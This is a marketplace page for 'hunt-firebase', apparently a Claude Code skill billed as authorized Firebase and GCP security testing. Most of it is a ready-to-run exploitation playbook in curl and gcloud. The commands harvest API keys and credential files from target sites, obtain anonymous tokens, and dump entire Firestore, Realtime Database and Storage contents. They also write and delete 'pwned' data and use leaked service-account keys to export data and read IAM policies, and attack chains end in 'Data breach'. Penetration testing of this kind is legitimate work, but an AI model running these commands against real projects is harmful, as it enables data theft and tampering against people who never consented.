mcpField
H
hunt-firebase

hunt-firebase

github.com/uphiago安全1.3k39 次安装8 周前更新
代码仓库

关于 hunt-firebase

面向授权安全测试人员的 Firebase、Firestore 与 GCP 安全审查技能,提供从配置发现到访问控制验证的分阶段检查方法。重点涵盖数据库、存储、身份验证及服务账号暴露,并提示区分公开配置与实际风险。

主要功能

  1. 01发现 Firebase 配置和项目标识
  2. 02检查 Firestore 读写规则
  3. 03探测 Realtime Database 访问权限
  4. 04检查 Storage 文件访问
  5. 05验证 Auth 注册与服务账号暴露
  6. 06提供风险判定和误报提示

适用场景

  1. 01审查获准测试的网站 Firebase 配置
  2. 02验证 Firestore 或 Realtime Database 规则
  3. 03检查 Storage 是否暴露敏感文件
  4. 04评估泄露的服务账号凭据影响

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-firebase

安装后在 Claude Code 中输入/hunt-firebase确认已加载。

详细介绍

HUNT-FIREBASE — Firebase / Firestore / GCP 漏洞利用

皇冠珠宝目标

Firebase 是 Google 的移动端/Web 平台。开发者在客户端中嵌入 API 密钥(Firebase SDK 要求如此)时,往往会忘记配置 Firestore 安全规则或 Realtime Database 规则,导致所有数据都可被公开读取和写入。

价值最高的发现:

  1. 公开的 Firestore 数据库 — 匿名密钥允许读取/写入所有集合 → 完整导出数据(用户、消息、PII)。严重。
  2. 公开的 Realtime Database — {database}.firebaseio.com/.json 无需身份验证即可返回所有数据。严重。
  3. 具有公开读取权限的 Firebase Storage — 存储桶允许匿名列出和下载文件。严重。
  4. Firebase 开放注册 — 任何人都能创建身份验证账户,然后使用 JWT 访问 Firestore。高危。
  5. 服务账户 JSON 泄露 — 可完全访问 GCP IAM、Firestore、Storage、Cloud Functions 和 IAM 策略。严重。
  6. Firebase Hosting 配置泄露 — 托管内容会在静态文件中暴露项目 ID 和 API 密钥。

阶段 1 — 查找 Firebase 项目

可通过以下 API 密钥格式识别 Firebase:AIzaSy[0-9A-Za-z_-]{35}

1.1 在 JS 包中搜索
# Download the main page and its JS bundles
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" -o /tmp/index.html
grep -Eo 'src="[^"]*\.js"' /tmp/index.html | cut -d'"' -f2 | while read js; do
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$js" -o "/tmp/$(basename $js)"
done

# Search for Firebase API keys in all downloaded JS
grep -rEn 'AIza[0-9A-Za-z_-]{35}' /tmp/*.js

# Search for firebaseConfig
grep -rEn 'firebaseConfig|firebase.initializeApp|apiKey|authDomain' /tmp/*.js --include="*.js"

# Search for Firebase URLs
grep -rEn 'firebaseio|firestore|firebasestorage|firebaseapp' /tmp/*.js --include="*.js"

# Quick one-liner for any page
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'AIza[0-9A-Za-z_-]{35}'
1.2 在源映射文件中搜索
# First find source maps
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'sourceMappingURL=[^\"]+' | cut -d= -f2 | while read sm; do
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$(echo $sm | sed 's|^/||')" -o "/tmp/$(basename $sm)"
done

# Extract all source files from maps
cat /tmp/*.map 2>/dev/null | python3 -c "
import sys, json, re, os
try:
    data = json.load(sys.stdin)
    sources = data.get('sourcesContent', [])
    for src in sources:
        if not src: continue
        keys = re.findall(r'AIza[0-9A-Za-z_-]{35}', src)
        for k in keys:
            print(f'FIREBASE_API_KEY: {k}')
        urls = re.findall(r'https://[^\"'\"]+firebaseio[^\"'\"]+', src)
        for u in urls:
            print(f'FIREBASE_URL: {u}')
except: pass
" 2>/dev/null
1.3 在 .env 和配置文件中搜索
# Firebase config often lives in .env
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env" | grep -i "FIREBASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env.production" | grep -i "FIREBASE"

# Search in exposed JSON config
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/service-account.json" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/firebase.json" | python3 -m json.tool 2>/dev/null

阶段 2 — Firebase 项目侦察

获取 Firebase API 密钥后(格式:AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX),即可探测该项目。

2.1 识别 Firebase 项目 ID
# The project ID is encoded in the API key or can be found in the authDomain
# Auth domain pattern: <PROJECT_ID>.firebaseapp.com
API_KEY="AIzaSy..."

# Method 1: Try to sign in anonymously to get the project info
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken": true}'
# Response includes: idToken, localId, refreshToken, expiresIn

# Method 2: Check if a known project ID works
for project in "$TARGET" "${TARGET%.*}" "app-${TARGET%.*}" "${TARGET//./-}"; do
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$project.firebaseio.com/.json")
  [ "$code" != "404" ] && echo "Hit: $project.firebaseio.com (HTTP $code)"
done

# Method 3: Search for the project ID in the bundle alongside the key
grep -B5 -A5 "AIzaSy" /tmp/*.js 2>/dev/null
2.2 枚举 Firebase 项目
# Once project ID is known, probe all Firebase services
PROJECT="your-firebase-project-id"
API_KEY="AIzaSy..."

# Firestore REST API
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents?key=$API_KEY"
# If rules are permissive -> returns all documents

# Realtime Database
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json?auth=$ID_TOKEN"

# Firebase Storage
# Two common formats:
curl --max-time 30 --connect-timeout 10 -sk "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o?key=$API_KEY"
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/$PROJECT.appspot.com"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebasestorage.app"

# Firebase Hosting
curl --max-time 30 --connect-timeout 10 -skI "https://$PROJECT.firebaseapp.com"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.web.app"

阶段 3 — 利用 Firestore 数据库

Firestore 安全规则控制谁可以读取/写入数据。规则配置错误(读取权限设为 true)时,整个数据库都会公开。

3.1 列出集合(使用匿名密钥)
API_KEY="AIzaSy..."
PROJECT="your-project-id"

# Step 1: Sign in anonymously
ANON_RESP=$(curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken": true}')
ID_TOKEN=$(echo "$ANON_RESP" | python3 -c "import sys, json; print(json.load(sys.stdin).get('idToken', 'NO_TOKEN'))")

if [ "$ID_TOKEN" != "NO_TOKEN" ]; then
  echo "[+] Anonymous auth token obtained"

  # Step 2: List all documents in root collection
  curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents?key=$API_KEY" \
    -H "Authorization: Bearer $ID_TOKEN" | python3 -c "
import sys, json
try:
    d = json.load(sys.stdin)
    docs = d.get('documents', [])
    print(f'Documents: {len(docs)}')
    for doc in docs[:20]:
        path = doc.get('name', '').split('/')[-1]
        print(f'  Document: {path}')
        fields = doc.get('fields', {})
        for key, val in fields.items():
            val_type = list(val.keys())[0] if val else 'unknown'
            val_snippet = str(list(val.values())[0])[:50] if val else ''
            print(f'    {key}: {val_snippet}')
except Exception as e:
    print(f'No data: {e}')
"
else
  echo "[-] Cannot obtain anonymous auth token"
fi
3.2 导出所有集合(递归)
# Firestore collection group query — enumerate ALL collections
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents:listCollectionIds?key=$API_KEY" \
  -H "Authorization: Bearer $ID_TOKEN" \
  -X POST -d '{}'

# For each collection, dump documents
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/{COLLECTION_NAME}?key=$API_KEY" \
  -H "Authorization: Bearer $ID_TOKEN"

# Run collectionGroup query (finds nested collections too)
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents:runQuery?key=$API_KEY" \
  -H "Authorization: Bearer $ID_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"structuredQuery": {"from": [{"collectionId": "*"}]}}'
3.3 测试写入权限
# Try to write a document (only if rules allow)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/test_collection?key=$API_KEY" \
  -H "Authorization: Bearer $ID_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"fields": {"test": {"stringValue": "pwned"}}}'

# If 200 -> write access confirmed -> CRITICAL
# Try to delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/test_collection/TEST_DOC?key=$API_KEY" \
  -H "Authorization: Bearer $ID_TOKEN"
# If 200 -> delete access confirmed -> CRITICAL

阶段 4 — 利用 Realtime Database

Firebase Realtime Database 使用不同的 API 路径。

# Read entire database (if rules allow public read)
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json?print=pretty"

# With auth token
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json?auth=$ID_TOKEN"

# Specific path
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/users.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/messages.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/config.json"

# Test write
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://$PROJECT.firebaseio.com/test.json" \
  -H "Content-Type: application/json" \
  -d '{"pwned": true}'

# Test delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://$PROJECT.firebaseio.com/test.json"

阶段 5 — 利用 Firebase Storage

# List all files in the default storage bucket
curl --max-time 30 --connect-timeout 10 -sk "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o?key=$API_KEY" | \
  python3 -c "
import sys, json
try:
    d = json.load(sys.stdin)
    items = d.get('items', [])
    for item in items:
        name = item.get('name', '')
        bucket = item.get('bucket', '')
        print(f'{bucket}: {name}')
except Exception as e:
    print(f'Error: {e}')
"

# Download a specific file
curl --max-time 30 --connect-timeout 10 -sk "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o/{ENCODED_FILE_PATH}?alt=media&key=$API_KEY" \
  -o /tmp/firebase_file

# Upload a file (test write access)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o?name=test_pwned.txt&key=$API_KEY" \
  -H "Content-Type: text/plain" \
  -d "pwned"

阶段 6 — 利用 Firebase Auth

6.1 注册(如果已启用电子邮件/密码身份验证)
# Create an auth account
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "Password123!",
    "returnSecureToken": true
  }'
# If 200 -> anyone can create accounts!
6.2 登录
# Sign in with known credentials
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "Password123!",
    "returnSecureToken": true
  }'

# Extract idToken -> use for Firestore/RTDB/Storage access
ID_TOKEN=$(...)
6.3 列出身份验证提供方
# Check which auth providers are enabled
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "[email protected]", "continueUri": "http://localhost"}'
# Response shows: allSignInMethods (password, google.com, facebook.com, etc.)

阶段 7 — 利用服务账户 JSON

如果找到 Firebase/GCP 服务账户 JSON 文件:

# The file looks like:
# {
#   "type": "service_account",
#   "project_id": "...",
#   "private_key_id": "...",
#   "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
#   "client_email": "[email protected]",
#   "client_id": "...",
#   "auth_uri": "https://accounts.google.com/o/oauth2/auth",
#   "token_uri": "https://oauth2.googleapis.com/token"
# }

# Save it and authenticate with gcloud
echo '{"type": "service_account", ...}' > /tmp/sa-key.json

# Authenticate
gcloud auth activate-service-account --key-file=/tmp/sa-key.json

# List all accessible resources
gcloud projects get-iam-policy $PROJECT_ID
gcloud iam service-accounts list
gcloud firestore databases list
gcloud storage buckets list
gcloud functions list
gcloud run services list

# Firestore read using the service account
gcloud firestore export gs://$BUCKET/export/  # Export entire Firestore

# Access Firestore REST API with JWT
# The service account can generate its own OAuth tokens
OAUTH_TOKEN=$(gcloud auth print-access-token)

# Use token for Firestore API
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents" \
  -H "Authorization: Bearer $OAUTH_TOKEN"

# IAM exploration
curl --max-time 30 --connect-timeout 10 -sk "https://cloudresourcemanager.googleapis.com/v1/projects/$PROJECT_ID:getIamPolicy" \
  -H "Authorization: Bearer $OAUTH_TOKEN" \
  -X POST -H "Content-Type: application/json" -d '{}'

阶段 8 — 攻击链

链 A:JS 中的 API 密钥 -> 匿名身份验证 -> 导出 Firestore 数据
JS bundle contains Firebase API key (AIzaSy...) ->
Sign in anonymously (accounts:signUp) ->
Get ID token ->
List Firestore collections ->
Dump ALL documents -> Data breach
链 B:JS 中的 API 密钥 -> 开放注册 -> 身份验证 -> 写入权限
Firebase config found in JS ->
Email/password signUp enabled (not just anon) ->
Anyone creates accounts ->
Access Firestore with credentials ->
Write malicious data or delete collections
链 C:服务账户 JSON -> GCP 完全访问权限
SA key found in .env or leaked repo ->
gcloud auth activate-service-account ->
Get IAM policy ->
List all resources ->
Export Firestore, access Storage, invoke Cloud Functions

验证严重程度

发现严重程度
Firestore 可公开读取(可导出包含 PII 的集合)严重
Firestore 可公开写入(可创建/删除文档)严重
Realtime Database 可公开读取(可完整导出 .json)严重
Firebase Storage 可公开列出/下载高危
开放注册(任何人都能创建账户)高危
服务账户 JSON 暴露严重
找到 API 密钥(但无法进一步访问)低至中
Firebase Hosting 静态网站暴露信息级
Firebase 项目 ID 暴露(没有密钥)信息级

常见的 Firebase 发现格式

# Quick test: does the target use Firebase?
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'AIza[0-9A-Za-z_-]{35}'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'firebaseio\.com|firestore\.googleapis|firebaseapp\.com'

# Check Google dorks for Firebase
# site:target.com "firebase"
# site:target.com "AIzaSy" filetype:js
# site:target.com "firebaseConfig"

验证

运行以下自测,确认已准备好进行 Firebase 探查:

  1. 技能完整性 — 确认技能文件可读取且格式正确:

    grep -q "name: hunt-firebase" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能已设置类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分 — 确认已记录常见陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

全部 3 项测试可验证技能结构正确且已准备就绪。


易踩问题

  • 不含敏感数据的公开 Firebase 配置 — Firebase 配置对象本来就是公开的。只有在数据库/存储可写或包含个人身份信息(PII)时才报告。
  • 未进行写入的 Realtime DB 规则测试 — 读取 .json 属于侦察。向 .json 写入数据并确认数据持久化,才能证明配置错误。
  • Firestore 公开读取 — 测试 /documents/users 中是否包含个人身份信息,而不是 /documents/public_config。
  • 只能列出存储桶,无法读取对象 — 可列出的存储桶仅供参考。需要能读取包含敏感内容的对象。
  • API 密钥权限范围测试 — Firebase API 密钥不是机密,而是标识符。应测试该密钥授予了哪些访问权限,而不只是确认它存在。

评论

支持 Markdown